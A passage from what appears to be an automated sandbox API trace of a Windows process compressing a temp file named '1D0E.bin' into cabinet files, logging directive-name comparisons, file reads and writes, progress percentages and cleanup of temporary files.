_Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskSize1") returned -1 [0151.984] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskSize1") returned -13 [0151.984] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize1") returned -49 [0151.984] _strcmpi (_Str1="MaxErrors", _Str2="MaxDiskSize1") returned 1 [0151.984] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="MaxDiskSize1") returned 5 [0151.984] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="MaxDiskSize1") returned 5 [0151.984] _strcmpi (_Str1="ReservePerFolderSize", _Str2="MaxDiskSize1") returned 5 [0151.984] _strcmpi (_Str1="RptFileName", _Str2="MaxDiskSize1") returned 5 [0151.984] _strcmpi (_Str1="SourceDir", _Str2="MaxDiskSize1") returned 6 [0151.984] _strcmpi (_Str1="UniqueFiles", _Str2="MaxDiskSize1") returned 8 [0151.984] _strcmpi (_Str1="DiskDirectory1", _Str2="MaxDiskSize1") returned -9 [0151.984] _strcmpi (_Str1="CabinetName1", _Str2="MaxDiskSize1") returned -10 [0151.984] _vsnprintf (in: _DstBuf=0xde3e0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde338 | out: _DstBuf="MaxDiskSize1") returned 12 [0151.986] GetFileAttributesExA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin"), fInfoLevelId=0x0, lpFileInformation=0xde638 | out: lpFileInformation=0xde638*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1673510, ftCreationTime.dwHighDateTime=0x1d51ed5, ftLastAccessTime.dwLowDateTime=0x1673510, ftLastAccessTime.dwHighDateTime=0x1d51ed5, ftLastWriteTime.dwLowDateTime=0x1757d50, ftLastWriteTime.dwHighDateTime=0x1d51ed5, nFileSizeHigh=0x0, nFileSizeLow=0x13b52)) returned 1 [0151.987] FileTimeToLocalFileTime (in: lpFileTime=0xde64c, lpLocalFileTime=0xde618 | out: lpLocalFileTime=0xde618) returned 1 [0151.987] FileTimeToDosDateTime (in: lpFileTime=0xde618, lpFatDate=0xde630, lpFatTime=0xde632 | out: lpFatDate=0xde630, lpFatTime=0xde632) returned 1 [0151.987] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0151.987] GetLastError () returned 0x0 [0151.987] _open_osfhandle (_OSFileHandle=0x60, _Flags=32896) returned 12 [0151.987] _read (in: _FileHandle=12, _DstBuf=0x31b340, _MaxCharCount=0x8000 | out: _DstBuf=0x31b340*) returned 32768 [0151.987] malloc (_Size=0x8) returned 0x2b7220 [0151.997] _write (in: _FileHandle=7, _Buf=0x2b7220*, _MaxCharCount=0x8 | out: _Buf=0x2b7220*) returned 8 [0151.997] _write (in: _FileHandle=7, _Buf=0x313320*, _MaxCharCount=0x1dd1 | out: _Buf=0x313320*) returned 7633 [0151.998] _vsnprintf (in: _DstBuf=0xde360, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xde2b8 | out: _DstBuf=" 40.59") returned 6 [0151.998] _vsnprintf (in: _DstBuf=0xde368, _MaxCount=0x1f7, _Format="%s", _ArgList=0xde2b8 | out: _DstBuf="1D0E.bin") returned 8 [0151.998] _vsnprintf (in: _DstBuf=0xde372, _MaxCount=0x1ed, _Format="%ld", _ArgList=0xde2b8 | out: _DstBuf="1") returned 1 [0151.998] strspn (_Str="1", _Control=" ") returned 0x0 [0151.998] strpbrk (_Str="1", _Control=" ") returned 0x0 [0151.998] _vsnprintf (in: _DstBuf=0xde375, _MaxCount=0x1ea, _Format="%ld", _ArgList=0xde2b8 | out: _DstBuf="1") returned 1 [0151.998] strspn (_Str="1", _Control=" ") returned 0x0 [0151.998] strpbrk (_Str="1", _Control=" ") returned 0x0 [0151.998] printf (_Format="%s%s\r") returned 28 [0152.017] free (_Block=0x2b7220) [0152.017] _read (in: _FileHandle=12, _DstBuf=0x31b340, _MaxCharCount=0x8000 | out: _DstBuf=0x31b340*) returned 32768 [0152.017] malloc (_Size=0x8) returned 0x2b7220 [0152.018] _write (in: _FileHandle=7, _Buf=0x2b7220*, _MaxCharCount=0x8 | out: _Buf=0x2b7220*) returned 8 [0152.018] _write (in: _FileHandle=7, _Buf=0x313320*, _MaxCharCount=0xaab | out: _Buf=0x313320*) returned 2731 [0152.018] _vsnprintf (in: _DstBuf=0xde360, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xde2b8 | out: _DstBuf=" 81.19") returned 6 [0152.018] _vsnprintf (in: _DstBuf=0xde368, _MaxCount=0x1f7, _Format="%s", _ArgList=0xde2b8 | out: _DstBuf="1D0E.bin") returned 8 [0152.018] _vsnprintf (in: _DstBuf=0xde372, _MaxCount=0x1ed, _Format="%ld", _ArgList=0xde2b8 | out: _DstBuf="1") returned 1 [0152.018] strspn (_Str="1", _Control=" ") returned 0x0 [0152.018] strpbrk (_Str="1", _Control=" ") returned 0x0 [0152.018] _vsnprintf (in: _DstBuf=0xde375, _MaxCount=0x1ea, _Format="%ld", _ArgList=0xde2b8 | out: _DstBuf="1") returned 1 [0152.018] strspn (_Str="1", _Control=" ") returned 0x0 [0152.018] strpbrk (_Str="1", _Control=" ") returned 0x0 [0152.018] printf (_Format="%s%s\r") returned 28 [0152.028] free (_Block=0x2b7220) [0152.028] _read (in: _FileHandle=12, _DstBuf=0x31b340, _MaxCharCount=0x8000 | out: _DstBuf=0x31b340*) returned 15186 [0152.028] _errno () returned 0x2b4bb0 [0152.028] _read (in: _FileHandle=12, _DstBuf=0x31ee92, _MaxCharCount=0x44ae | out: _DstBuf=0x31ee92) returned 0 [0152.028] _errno () returned 0x2b4bb0 [0152.028] _close (_FileHandle=12) returned 0 [0152.028] _write (in: _FileHandle=8, _Buf=0xde6c0*, _MaxCharCount=0x10 | out: _Buf=0xde6c0*) returned 16 [0152.029] _write (in: _FileHandle=8, _Buf=0xffe2ca50*, _MaxCharCount=0x9 | out: _Buf=0xffe2ca50*) returned 9 [0152.029] malloc (_Size=0x8) returned 0x2b7220 [0152.029] _write (in: _FileHandle=7, _Buf=0x2b7220*, _MaxCharCount=0x8 | out: _Buf=0x2b7220*) returned 8 [0152.030] _write (in: _FileHandle=7, _Buf=0x313320*, _MaxCharCount=0x3e2 | out: _Buf=0x313320*) returned 994 [0152.030] _vsnprintf (in: _DstBuf=0xde0d0, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xde028 | out: _DstBuf="100.00") returned 6 [0152.030] _vsnprintf (in: _DstBuf=0xde0d8, _MaxCount=0x1f7, _Format="%s", _ArgList=0xde028 | out: _DstBuf="1D0E.bin") returned 8 [0152.030] _vsnprintf (in: _DstBuf=0xde0e2, _MaxCount=0x1ed, _Format="%ld", _ArgList=0xde028 | out: _DstBuf="1") returned 1 [0152.030] strspn (_Str="1", _Control=" ") returned 0x0 [0152.030] strpbrk (_Str="1", _Control=" ") returned 0x0 [0152.030] _vsnprintf (in: _DstBuf=0xde0e6, _MaxCount=0x1e9, _Format="%ld", _ArgList=0xde028 | out: _DstBuf="1") returned 1 [0152.030] strspn (_Str="1", _Control=" ") returned 0x0 [0152.030] strpbrk (_Str="1", _Control=" ") returned 0x0 [0152.030] printf (_Format="%s%s\r") returned 28 [0152.039] free (_Block=0x2b7220) [0152.039] malloc (_Size=0x8) returned 0x2b7220 [0152.039] malloc (_Size=0x8) returned 0x2b70a0 [0152.039] malloc (_Size=0x8) returned 0x2b7090 [0152.039] _vsnprintf (in: _DstBuf=0xde110, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xde068 | out: _DstBuf=" 0.00") returned 6 [0152.040] printf (_Format="%s%s\r") returned 34 [0152.051] GetCurrentProcessId () returned 0x850 [0152.051] _vsnprintf (in: _DstBuf=0xde333, _MaxCount=0xa, _Format="_%u_", _ArgList=0xde328 | out: _DstBuf="_2128_") returned 6 [0152.051] _tempnam (_Directory="", _FilePrefix="cab_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_10" [0152.051] free (_Block=0x2baf30) [0152.051] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_10" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2128_10"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0152.052] GetLastError () returned 0x0 [0152.053] _open_osfhandle (_OSFileHandle=0x60, _Flags=34178) returned 12 [0152.053] GetCurrentProcessId () returned 0x850 [0152.053] _vsnprintf (in: _DstBuf=0xde333, _MaxCount=0xa, _Format="_%u_", _ArgList=0xde328 | out: _DstBuf="_2128_") returned 6 [0152.053] _tempnam (_Directory="", _FilePrefix="cab_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_11" [0152.053] free (_Block=0x2baf30) [0152.053] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_11" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2128_11"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x64 [0152.053] GetLastError () returned 0x0 [0152.053] _open_osfhandle (_OSFileHandle=0x64, _Flags=34178) returned 13 [0152.053] _lseek (_FileHandle=7, _Offset=0, _Origin=0) returned 0 [0152.053] _read (in: _FileHandle=7, _DstBuf=0x2b7220, _MaxCharCount=0x8 | out: _DstBuf=0x2b7220*) returned 8 [0152.053] _read (in: _FileHandle=7, _DstBuf=0x313320, _MaxCharCount=0x1dd1 | out: _DstBuf=0x313320*) returned 7633 [0152.053] _write (in: _FileHandle=9, _Buf=0x2b7220*, _MaxCharCount=0x8 | out: _Buf=0x2b7220*) returned 8 [0152.054] _write (in: _FileHandle=9, _Buf=0x313320*, _MaxCharCount=0x1dd1 | out: _Buf=0x313320*) returned 7633 [0152.054] _vsnprintf (in: _DstBuf=0xde110, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xde068 | out: _DstBuf=" 66.66") returned 6 [0152.055] printf (_Format="%s%s\r") returned 34 [0152.066] _read (in: _FileHandle=7, _DstBuf=0x2b7220, _MaxCharCount=0x8 | out: _DstBuf=0x2b7220*) returned 8 [0152.066] _read (in: _FileHandle=7, _DstBuf=0x313320, _MaxCharCount=0xaab | out: _DstBuf=0x313320*) returned 2731 [0152.066] _write (in: _FileHandle=9, _Buf=0x2b7220*, _MaxCharCount=0x8 | out: _Buf=0x2b7220*) returned 8 [0152.066] _write (in: _FileHandle=9, _Buf=0x313320*, _MaxCharCount=0xaab | out: _Buf=0x313320*) returned 2731 [0152.066] _vsnprintf (in: _DstBuf=0xde110, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xde068 | out: _DstBuf=" 90.51") returned 6 [0152.066] printf (_Format="%s%s\r") returned 34 [0152.080] _read (in: _FileHandle=7, _DstBuf=0x2b7220, _MaxCharCount=0x8 | out: _DstBuf=0x2b7220*) returned 8 [0152.080] _read (in: _FileHandle=7, _DstBuf=0x313320, _MaxCharCount=0x3e2 | out: _DstBuf=0x313320*) returned 994 [0152.080] _write (in: _FileHandle=9, _Buf=0x2b7220*, _MaxCharCount=0x8 | out: _Buf=0x2b7220*) returned 8 [0152.080] _write (in: _FileHandle=9, _Buf=0x313320*, _MaxCharCount=0x3e2 | out: _Buf=0x313320*) returned 994 [0152.080] _vsnprintf (in: _DstBuf=0xde110, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xde068 | out: _DstBuf=" 99.19") returned 6 [0152.080] printf (_Format="%s%s\r") returned 34 [0152.092] _read (in: _FileHandle=7, _DstBuf=0x2b7220, _MaxCharCount=0x8 | out: _DstBuf=0x2b7220) returned 0 [0152.092] _errno () returned 0x2b4bb0 [0152.092] _write (in: _FileHandle=11, _Buf=0x2b7090*, _MaxCharCount=0x8 | out: _Buf=0x2b7090*) returned 8 [0152.093] _lseek (_FileHandle=8, _Offset=0, _Origin=0) returned 0 [0152.093] _read (in: _FileHandle=8, _DstBuf=0x2cf9b4, _MaxCharCount=0x10 | out: _DstBuf=0x2cf9b4*) returned 16 [0152.093] _lseek (_FileHandle=8, _Offset=0, _Origin=1) returned 16 [0152.093] _read (in: _FileHandle=8, _DstBuf=0x2cfada, _MaxCharCount=0x100 | out: _DstBuf=0x2cfada*) returned 9 [0152.093] _errno () returned 0x2b4bb0 [0152.093] _lseek (_FileHandle=8, _Offset=25, _Origin=0) returned 25 [0152.093] _vsnprintf (in: _DstBuf=0xde2a0, _MaxCount=0x1f, _Format="InfFileLineFormat%d", _ArgList=0xddee8 | out: _DstBuf="InfFileLineFormat1") returned 18 [0152.093] _strcmpi (_Str1="Cabinet", _Str2="InfFileLineFormat1") returned -6 [0152.093] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileLineFormat1") returned -6 [0152.093] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileLineFormat1") returned -6 [0152.093] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileLineFormat1") returned -6 [0152.093] _strcmpi (_Str1="ClusterSize", _Str2="InfFileLineFormat1") returned -6 [0152.093] _strcmpi (_Str1="Compress", _Str2="InfFileLineFormat1") returned -6 [0152.093] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileLineFormat1") returned -6 [0152.093] _strcmpi (_Str1="CompressionType", _Str2="InfFileLineFormat1") returned -6 [0152.093] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileLineFormat1") returned -6 [0152.093] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileLineFormat1") returned -6 [0152.093] _strcmpi (_Str1="DestinationDir", _Str2="InfFileLineFormat1") returned -5 [0152.093] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileLineFormat1") returned -5 [0152.093] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileLineFormat1") returned -5 [0152.093] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileLineFormat1") returned -5 [0152.093] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileLineFormat1") returned -3 [0152.093] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileLineFormat1") returned -3 [0152.093] _strcmpi (_Str1="GenerateInf", _Str2="InfFileLineFormat1") returned -2 [0152.093] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileLineFormat1") returned -3 [0152.093] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileLineFormat1") returned -3 [0152.093] _strcmpi (_Str1="InfCommentString", _Str2="InfFileLineFormat1") returned -3 [0152.093] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileLineFormat1") returned -2 [0152.093] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileLineFormat1") returned -2 [0152.093] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileLineFormat1") returned -2 [0152.093] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileLineFormat1") returned -4 [0152.093] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFileLineFormat1") returned -49 [0152.093] _strcmpi (_Str1="InfFileName", _Str2="InfFileLineFormat1") returned 2 [0152.093] _strcmpi (_Str1="InfFooter", _Str2="InfFileLineFormat1") returned 6 [0152.093] _strcmpi (_Str1="InfFooter1", _Str2="InfFileLineFormat1") returned 6 [0152.094] _strcmpi (_Str1="InfFooter2", _Str2="InfFileLineFormat1") returned 6 [0152.094] _strcmpi (_Str1="InfFooter3", _Str2="InfFileLineFormat1") returned 6 [0152.094] _strcmpi (_Str1="InfFooter4", _Str2="InfFileLineFormat1") returned 6 [0152.094] _strcmpi (_Str1="InfHeader", _Str2="InfFileLineFormat1") returned 2 [0152.094] _strcmpi (_Str1="InfHeader1", _Str2="InfFileLineFormat1") returned 2 [0152.094] _strcmpi (_Str1="InfHeader2", _Str2="InfFileLineFormat1") returned 2 [0152.094] _strcmpi (_Str1="InfHeader3", _Str2="InfFileLineFormat1") returned 2 [0152.094] _strcmpi (_Str1="InfHeader4", _Str2="InfFileLineFormat1") returned 2 [0152.094] _strcmpi (_Str1="InfHeader5", _Str2="InfFileLineFormat1") returned 2 [0152.094] _strcmpi (_Str1="InfHeader6", _Str2="InfFileLineFormat1") returned 2 [0152.094] _strcmpi (_Str1="InfSectionOrder", _Str2="InfFileLineFormat1") returned 13 [0152.094] _strcmpi (_Str1="MaxCabinetSize", _Str2="InfFileLineFormat1") returned 4 [0152.094] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfFileLineFormat1") returned 4 [0152.094] _strcmpi (_Str1="MaxDiskSize", _Str2="InfFileLineFormat1") returned 4 [0152.094] _strcmpi (_Str1="MaxErrors", _Str2="InfFileLineFormat1") returned 4 [0152.094] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfFileLineFormat1") returned 9 [0152.094] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfFileLineFormat1") returned 9 [0152.094] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfFileLineFormat1") returned 9 [0152.094] _strcmpi (_Str1="RptFileName", _Str2="InfFileLineFormat1") returned 9 [0152.094] _strcmpi (_Str1="SourceDir", _Str2="InfFileLineFormat1") returned 10 [0152.094] _strcmpi (_Str1="UniqueFiles", _Str2="InfFileLineFormat1") returned 12 [0152.094] _strcmpi (_Str1="DiskDirectory1", _Str2="InfFileLineFormat1") returned -5 [0152.094] _strcmpi (_Str1="CabinetName1", _Str2="InfFileLineFormat1") returned -6 [0152.094] _vsnprintf (in: _DstBuf=0xddd40, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddc98 | out: _DstBuf="InfFileLineFormat1") returned 18 [0152.094] _vsnprintf (in: _DstBuf=0xddbd0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddb28 | out: _DstBuf="Infdisk#") returned 8 [0152.094] _vsnprintf (in: _DstBuf=0x2bbe58, _MaxCount=0x1ff, _Format="%d", _ArgList=0xde158 | out: _DstBuf="1") returned 1 [0152.094] _strcmpi (_Str1="Cabinet", _Str2="Infcab#") returned -6 [0152.094] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infcab#") returned -6 [0152.094] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infcab#") returned -6 [0152.094] _strcmpi (_Str1="ChecksumWidth", _Str2="Infcab#") returned -6 [0152.094] _strcmpi (_Str1="ClusterSize", _Str2="Infcab#") returned -6 [0152.094] _strcmpi (_Str1="Compress", _Str2="Infcab#") returned -6 [0152.094] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infcab#") returned -6 [0152.094] _strcmpi (_Str1="CompressionType", _Str2="Infcab#") returned -6 [0152.094] _strcmpi (_Str1="CompressionLevel", _Str2="Infcab#") returned -6 [0152.094] _strcmpi (_Str1="CompressionMemory", _Str2="Infcab#") returned -6 [0152.095] _strcmpi (_Str1="DestinationDir", _Str2="Infcab#") returned -5 [0152.095] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infcab#") returned -5 [0152.095] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infcab#") returned -5 [0152.095] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infcab#") returned -5 [0152.095] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infcab#") returned -3 [0152.095] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infcab#") returned -3 [0152.095] _strcmpi (_Str1="GenerateInf", _Str2="Infcab#") returned -2 [0152.095] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infcab#") returned 70 [0152.095] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infcab#") returned 70 [0152.095] _strcmpi (_Str1="InfCommentString", _Str2="Infcab#") returned 14 [0152.095] _strcmpi (_Str1="InfDateFormat", _Str2="Infcab#") returned 1 [0152.095] _strcmpi (_Str1="InfDiskHeader", _Str2="Infcab#") returned 1 [0152.095] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infcab#") returned 1 [0152.095] _strcmpi (_Str1="InfFileHeader", _Str2="Infcab#") returned 3 [0152.095] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infcab#") returned 3 [0152.095] _strcmpi (_Str1="InfFileName", _Str2="Infcab#") returned 3 [0152.095] _strcmpi (_Str1="InfFooter", _Str2="Infcab#") returned 3 [0152.095] _strcmpi (_Str1="InfFooter1", _Str2="Infcab#") returned 3 [0152.095] _strcmpi (_Str1="InfFooter2", _Str2="Infcab#") returned 3 [0152.095] _strcmpi (_Str1="InfFooter3", _Str2="Infcab#") returned 3 [0152.095] _strcmpi (_Str1="InfFooter4", _Str2="Infcab#") returned 3 [0152.095] _strcmpi (_Str1="InfHeader", _Str2="Infcab#") returned 5 [0152.095] _strcmpi (_Str1="InfHeader1", _Str2="Infcab#") returned 5 [0152.095] _strcmpi (_Str1="InfHeader2", _Str2="Infcab#") returned 5 [0152.095] _strcmpi (_Str1="InfHeader3", _Str2="Infcab#") returned 5 [0152.095] _strcmpi (_Str1="InfHeader4", _Str2="Infcab#") returned 5 [0152.095] _strcmpi (_Str1="InfHeader5", _Str2="Infcab#") returned 5 [0152.095] _strcmpi (_Str1="InfHeader6", _Str2="Infcab#") returned 5 [0152.095] _strcmpi (_Str1="InfSectionOrder", _Str2="Infcab#") returned 16 [0152.095] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infcab#") returned 4 [0152.095] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Infcab#") returned 4 [0152.095] _strcmpi (_Str1="MaxDiskSize", _Str2="Infcab#") returned 4 [0152.095] _strcmpi (_Str1="MaxErrors", _Str2="Infcab#") returned 4 [0152.095] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infcab#") returned 9 [0152.095] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infcab#") returned 9 [0152.095] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infcab#") returned 9 [0152.095] _strcmpi (_Str1="RptFileName", _Str2="Infcab#") returned 9 [0152.095] _strcmpi (_Str1="SourceDir", _Str2="Infcab#") returned 10 [0152.095] _strcmpi (_Str1="UniqueFiles", _Str2="Infcab#") returned 12 [0152.095] _strcmpi (_Str1="DiskDirectory1", _Str2="Infcab#") returned -5 [0152.095] _strcmpi (_Str1="CabinetName1", _Str2="Infcab#") returned -6 [0152.095] _vsnprintf (in: _DstBuf=0xddbd0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddb28 | out: _DstBuf="Infcab#") returned 7 [0152.096] _vsnprintf (in: _DstBuf=0x2bbe5a, _MaxCount=0x1fd, _Format="%d", _ArgList=0xde158 | out: _DstBuf="1") returned 1 [0152.096] _strcmpi (_Str1="Cabinet", _Str2="Inffile") returned -6 [0152.096] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Inffile") returned -6 [0152.096] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Inffile") returned -6 [0152.096] _strcmpi (_Str1="ChecksumWidth", _Str2="Inffile") returned -6 [0152.096] _strcmpi (_Str1="ClusterSize", _Str2="Inffile") returned -6 [0152.096] _strcmpi (_Str1="Compress", _Str2="Inffile") returned -6 [0152.096] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Inffile") returned -6 [0152.096] _strcmpi (_Str1="CompressionType", _Str2="Inffile") returned -6 [0152.096] _strcmpi (_Str1="CompressionLevel", _Str2="Inffile") returned -6 [0152.096] _strcmpi (_Str1="CompressionMemory", _Str2="Inffile") returned -6 [0152.096] _strcmpi (_Str1="DestinationDir", _Str2="Inffile") returned -5 [0152.096] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Inffile") returned -5 [0152.096] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Inffile") returned -5 [0152.096] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Inffile") returned -5 [0152.096] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Inffile") returned -3 [0152.096] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Inffile") returned -3 [0152.096] _strcmpi (_Str1="GenerateInf", _Str2="Inffile") returned -2 [0152.096] _strcmpi (_Str1="InfCabinetHeader", _Str2="Inffile") returned -3 [0152.096] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Inffile") returned -3 [0152.096] _strcmpi (_Str1="InfCommentString", _Str2="Inffile") returned -3 [0152.096] _strcmpi (_Str1="InfDateFormat", _Str2="Inffile") returned -2 [0152.096] _strcmpi (_Str1="InfDiskHeader", _Str2="Inffile") returned -2 [0152.096] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Inffile") returned -2 [0152.096] _strcmpi (_Str1="InfFileHeader", _Str2="Inffile") returned 104 [0152.096] _strcmpi (_Str1="InfFileLineFormat", _Str2="Inffile") returned 108 [0152.096] _strcmpi (_Str1="InfFileName", _Str2="Inffile") returned 110 [0152.096] _strcmpi (_Str1="InfFooter", _Str2="Inffile") returned 6 [0152.096] _strcmpi (_Str1="InfFooter1", _Str2="Inffile") returned 6 [0152.096] _strcmpi (_Str1="InfFooter2", _Str2="Inffile") returned 6 [0152.096] _strcmpi (_Str1="InfFooter3", _Str2="Inffile") returned 6 [0152.096] _strcmpi (_Str1="InfFooter4", _Str2="Inffile") returned 6 [0152.096] _strcmpi (_Str1="InfHeader", _Str2="Inffile") returned 2 [0152.096] _strcmpi (_Str1="InfHeader1", _Str2="Inffile") returned 2 [0152.096] _strcmpi (_Str1="InfHeader2", _Str2="Inffile") returned 2 [0152.096] _strcmpi (_Str1="InfHeader3", _Str2="Inffile") returned 2 [0152.096] _strcmpi (_Str1="InfHeader4", _Str2="Inffile") returned 2 [0152.096] _strcmpi (_Str1="InfHeader5", _Str2="Inffile") returned 2 [0152.096] _strcmpi (_Str1="InfHeader6", _Str2="Inffile") returned 2 [0152.096] _strcmpi (_Str1="InfSectionOrder", _Str2="Inffile") returned 13 [0152.096] _strcmpi (_Str1="MaxCabinetSize", _Str2="Inffile") returned 4 [0152.096] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Inffile") returned 4 [0152.097] _strcmpi (_Str1="MaxDiskSize", _Str2="Inffile") returned 4 [0152.097] _strcmpi (_Str1="MaxErrors", _Str2="Inffile") returned 4 [0152.097] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Inffile") returned 9 [0152.097] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Inffile") returned 9 [0152.097] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Inffile") returned 9 [0152.097] _strcmpi (_Str1="RptFileName", _Str2="Inffile") returned 9 [0152.097] _strcmpi (_Str1="SourceDir", _Str2="Inffile") returned 10 [0152.097] _strcmpi (_Str1="UniqueFiles", _Str2="Inffile") returned 12 [0152.097] _strcmpi (_Str1="DiskDirectory1", _Str2="Inffile") returned -5 [0152.097] _strcmpi (_Str1="CabinetName1", _Str2="Inffile") returned -6 [0152.097] _vsnprintf (in: _DstBuf=0xddbd0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddb28 | out: _DstBuf="Inffile") returned 7 [0152.097] _vsnprintf (in: _DstBuf=0xddbd0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddb28 | out: _DstBuf="Infsize") returned 7 [0152.097] _vsnprintf (in: _DstBuf=0x2bbe65, _MaxCount=0x1f2, _Format="%ld", _ArgList=0xde158 | out: _DstBuf="80722") returned 5 [0152.097] fprintf (in: _File=0x7fefd702b70, _Format="%s\n" | out: _File=0x7fefd702b70) returned 19 [0152.097] _write (in: _FileHandle=10, _Buf=0x2cf9b4*, _MaxCharCount=0x10 | out: _Buf=0x2cf9b4*) returned 16 [0152.098] _write (in: _FileHandle=10, _Buf=0x2cfada*, _MaxCharCount=0x9 | out: _Buf=0x2cfada*) returned 9 [0152.098] _read (in: _FileHandle=8, _DstBuf=0x2cf9b4, _MaxCharCount=0x10 | out: _DstBuf=0x2cf9b4) returned 0 [0152.098] _errno () returned 0x2b4bb0 [0152.098] _close (_FileHandle=7) returned 0 [0152.099] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_5") returned 0 [0152.100] _close (_FileHandle=8) returned 0 [0152.100] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_6") returned 0 [0152.101] free (_Block=0x2b7220) [0152.101] free (_Block=0x2b70a0) [0152.101] free (_Block=0x2b7090) [0152.101] _close (_FileHandle=6) returned 0 [0152.101] free (_Block=0x2ba2f0) [0152.101] free 